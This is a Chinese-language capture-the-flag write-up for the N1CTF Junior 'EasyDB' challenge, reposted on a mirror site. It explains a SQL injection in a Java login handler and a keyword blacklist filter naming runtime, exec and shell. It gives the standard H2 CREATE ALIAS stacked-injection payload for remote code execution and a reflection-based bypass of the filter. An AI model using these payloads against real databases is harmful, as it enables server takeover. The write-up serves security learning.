当前位置: 首页 > news >正文

CTF-web:java-h2 堆叠注入rce -- N1ctf Junior EasyDB

代码存在sql注入

    // 处理登录表单的POST请求@PostMapping({"/login"})public String handleLogin(@RequestParam String username, @RequestParam String password, HttpSession session, Model model) throws SQLException {// 验证用户凭据if (this.userService.validateUser(username, password)) {session.setAttribute("username", username);  // 将用户名存储在会话中return "redirect:/";  // 验证成功,重定向到首页} else {model.addAttribute("error", "Invalid username or password");  // 添加错误消息到模型return "login";  // 返回登录视图}}
// 声明一个方法来验证用户的凭据
public boolean validateUser(String username, String password) throws SQLException {// 使用格式化字符串构建SQL查询语句String query = String.format("SELECT * FROM users WHERE username = '%s' AND password = '%s'", username, password);// 检查生成的查询是否安全,防止SQL注入if (!SecurityUtils.check(query)) {return false;  // 如果查询不安全,返回false} else {Throwable var8;  // 声明一个Throwable变量,用于异常处理// 使用try-with-resources语句自动管理Statement资源try (Statement stmt = this.connection.createStatement()) {// 执行SQL查询stmt.executeQuery(query);// 获取结果集ResultSet resultSet = stmt.getResultSet();Throwable var7 = null;  // 声明一个Throwable变量,用于捕获异常try {// 检查结果集是否有下一条记录(即用户是否存在)var8 = resultSet.next();} catch (Throwable var31) {var8 = var31;  // 捕获异常var7 = var31;  // 将异常赋值给var7以便后续处理throw var31;  // 重新抛出异常} finally {// 确保结果集在使用完后被关闭if (resultSet != null) {if (var7 != null) {  // 如果有异常,处理异常try {resultSet.close();  // 关闭结果集} catch (Throwable var30) {var7.addSuppressed(var30);  // 将异常添加到已捕获的异常中}} else {resultSet.close();  // 正常关闭结果集}}}} } 
}

SELECT * FROM users WHERE username = '%s' AND password = '%s'

// 定义一个名为SecurityUtils的公共类
public class SecurityUtils {// 使用HashSet存储不安全的SQL关键字,避免SQL注入攻击private static final HashSet<String> blackLists = new HashSet<>();// 默认构造函数public SecurityUtils() {}// 检查给定的SQL语句是否包含黑名单中的关键字public static boolean check(String sql) {// 遍历黑名单中的每一个关键字for (String keyword : blackLists) {// 将SQL语句转换为小写并检查是否包含黑名单关键字if (sql.toLowerCase().contains(keyword)) {return false; // 如果发现关键字,返回false,表示SQL不安全}}// 如果没有发现黑名单关键字,返回true,表示SQL是安全的return true;}
}
static {  blackLists.add("runtime");  blackLists.add("process");  blackLists.add("exec");  blackLists.add("shell");  blackLists.add("file");  blackLists.add("script");  blackLists.add("groovy");  
}

使用堆叠注入rec,其标准利用形式如下

CREATE ALIAS EXEC AS '
String shellexec(String cmd) throws java.io.IOException {Runtime.getRuntime().exec(cmd);return "su18";
}';
CALL EXEC('command');

按如下方式绕过waf

1.将被过滤的字符串拆分
2.Class<?> 声明通用类型的 Class 对象,使用Class.forName动态加载类赋值
3.因为过滤了runtime,使用getMethodRuntime.getRuntime方法反射后调用,这样可以不使用Runtime.getRuntime().exec(cmd)

CREATE ALIAS evil AS $$
void jerry(String cmd) throws Exception {String R = "R" + "untime";Class<?> c = Class.forName("java.lang." + R);Object rt = c.getMethod("get" + R).invoke(null);//实例化c.getMethod("exe" + "c", String.class).invoke(rt, cmd);//rt.exec(cmd)
}
$$;
CALL evil('command');
  • $$...$$ 是一种用于定义 字符串常量 或 函数体 的 定界符(delimiter)。它允许你在字符串或函数体中包含引号、换行符和其他特殊字符,而无需对这些字符进行转义。
  • invoke 方法用于调用获取到的方法。它的第一个参数是方法的调用者对象,第二个及以后的参数是方法的参数。

参考

2025 N1CTF Junior Web 方向全解 | J1rrY’s Blog
JDBC-Attack 利用汇总 - Boogiepop Doesn’t Laugh


http://www.mrgr.cn/news/90649.html

相关文章:

  • 无法读取配置节“system.web.extensions”,因为它缺少节声明
  • win11 终端乱码导致IDE 各种输出也乱码
  • 【C++ 真题】P2920 [USACO08NOV] Time Management S
  • 200个Python练手项目源码
  • 常见的数据仓库有哪些?
  • Docker 网络的几种常见类型
  • java八股---java02(面向对象、类、变量、方法、值传递)
  • Jenkins 新建配置Pipeline任务 三
  • 【前端】 react项目使用bootstrap、useRef和useState之间的区别和应用
  • 【AI大模型】Ollama部署本地大模型DeepSeek-R1,交互界面Open-WebUI,RagFlow构建私有知识库
  • 企业级高可用 Kubernetes 实践:基于青云 LB 搭建容灾与负载均衡集群全攻略
  • 伯克利 CS61A 课堂笔记 08 —— Strings and Dictionaries
  • RocketMQ和Kafka如何实现顺序写入和顺序消费?
  • 细说STM32F407单片机RTC入侵检测和时间戳的原理及使用方法
  • 每日一题-斐波那契数列和跳台阶
  • 伯克利 CS61A 课堂笔记 09 —— Data Abstraction
  • mapbox 从入门到精通 - 目录
  • LeapMotion第2代 Unity示范代码(桌面开发)
  • Java IO流详解
  • 二次封装axios解决异步通信痛点
  • #渗透测试#批量漏洞挖掘#致远互联AnalyticsCloud 分析云 任意文件读取
  • 【一文读懂】HTTP与Websocket协议
  • 【07】trait特性
  • 综合与时序分析的设计约束(4)—— 异常
  • ARM64 Trust Firmware [一]
  • 编码格式大全解释以及相关编码特性